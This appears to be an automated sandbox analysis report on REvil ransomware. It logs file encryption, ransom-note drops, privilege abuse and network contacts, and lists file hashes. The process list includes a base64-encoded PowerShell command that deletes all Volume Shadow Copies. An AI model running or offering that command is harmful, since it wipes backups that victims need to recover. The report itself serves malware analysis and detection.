Analysis Overview
SHA256
78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff
Threat Level: Known bad
The file Revil.bin.exe was found to be: Known bad.
Malicious Activity Summary
Sodin,Sodinokibi,REvil
Modifies extensions of user files
Enumerates connected drives
Sets desktop wallpaper using registry
Drops file in Program Files directory
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-04-22 15:31
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-04-22 15:31
Reported
2023-04-22 15:33
Platform
win7-20230220-en
Max time kernel
29s
Max time network
36s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Processes
C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"
Network
Files
memory/2000-54-0x0000000000020000-0x0000000000040000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-04-22 15:31
Reported
2023-04-22 15:33
Platform
win10v2004-20230220-en
Max time kernel
61s
Max time network
140s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\UninstallComplete.tif => \??\c:\users\admin\pictures\UninstallComplete.tif.ddau5 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\WatchRequest.tif => \??\c:\users\admin\pictures\WatchRequest.tif.ddau5 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\InitializeProtect.tiff | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ExitRename.tif => \??\c:\users\admin\pictures\ExitRename.tif.ddau5 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InitializeProtect.tiff => \??\c:\users\admin\pictures\InitializeProtect.tiff.ddau5 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\PublishAdd.tif => \??\c:\users\admin\pictures\PublishAdd.tif.ddau5 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
Enumerates connected drives
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\u332621.bmp" | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | \??\c:\program files\FindUnpublish.ppsx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\GrantSplit.ogg | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ImportRead.eprtx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ResetGrant.tmp | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\SplitRestart.rle | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\TestInstall.mpeg | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ResetBackup.mpeg | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\SyncDeny.mp2v | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\UnblockUndo.mht | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\UnregisterFormat.snd | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File created | \??\c:\program files\EDGEWATER-README.txt | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ConfirmRepair.ttf | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\MeasureBackup.ppsx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\TraceRestore.xps | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\CopyDisable.eprtx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\InstallUninstall.wdp | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\BlockDisconnect.cfg | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ClearGroup.nfo | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ResumeSkip.iso | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\UnblockConfirm.xls | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\DisableWatch.wmf | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\EnablePublish.php | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\LockOpen.bmp | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\MountRestart.TS | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\RemoveRead.mhtml | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\ResetMeasure.wmv | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\UnprotectLock.zip | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\DenyPop.asx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\SkipShow.wvx | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\SubmitReset.fon | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\TestRestart.pptm | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File created | \??\c:\program files (x86)\EDGEWATER-README.txt | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\LockUndo.au3 | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\RevokeReceive.aifc | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| File opened for modification | \??\c:\program files\WriteAdd.mht | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2176 wrote to memory of 4740 | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2176 wrote to memory of 4740 | N/A | C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| DE | 172.217.23.193:443 | tcp | |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 216.239.32.29:80 | tcp | |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 104.208.16.90:443 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | tcp | |
| US | 8.8.8.8:53 | 233.141.123.20.in-addr.arpa | udp |
| NL | 84.53.175.11:80 | tcp | |
| US | 151.101.1.229:443 | tcp | |
| US | 35.244.159.8:443 | tcp | |
| US | 188.114.97.0:443 | tcp | |
| US | 35.190.60.146:443 | tcp |
Files
memory/2176-133-0x0000000001100000-0x0000000001120000-memory.dmp
memory/2176-134-0x0000000001100000-0x0000000001120000-memory.dmp
memory/4740-135-0x00000207F9190000-0x00000207F91B2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfvgans4.5q5.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4740-145-0x00000207F6590000-0x00000207F65A0000-memory.dmp
memory/4740-146-0x00000207F6590000-0x00000207F65A0000-memory.dmp
memory/4740-147-0x00000207F6590000-0x00000207F65A0000-memory.dmp
memory/2176-150-0x0000000001100000-0x0000000001120000-memory.dmp
C:\Recovery\EDGEWATER-README.txt
| MD5 | a534f1fd8fa84932d81fecdd6671aa89 |
| SHA1 | d2fe61f6cd506708868b793f62acee17834e9773 |
| SHA256 | 1af804efe2bd6fbebc64c61dc3509bfe2e420a2bf47258b62cb8ed18eab1077c |
| SHA512 | 480f7d0a3a5b69418f015ce57a747ce3db594126c8ab9f9cc2100272db286528e4d1bfa5b5108fa927f62e152b2159988c68e1d32636093aa5aa907bad9613f4 |
memory/2176-283-0x0000000001100000-0x0000000001120000-memory.dmp
memory/2176-581-0x0000000001100000-0x0000000001120000-memory.dmp
memory/2176-590-0x0000000001100000-0x0000000001120000-memory.dmp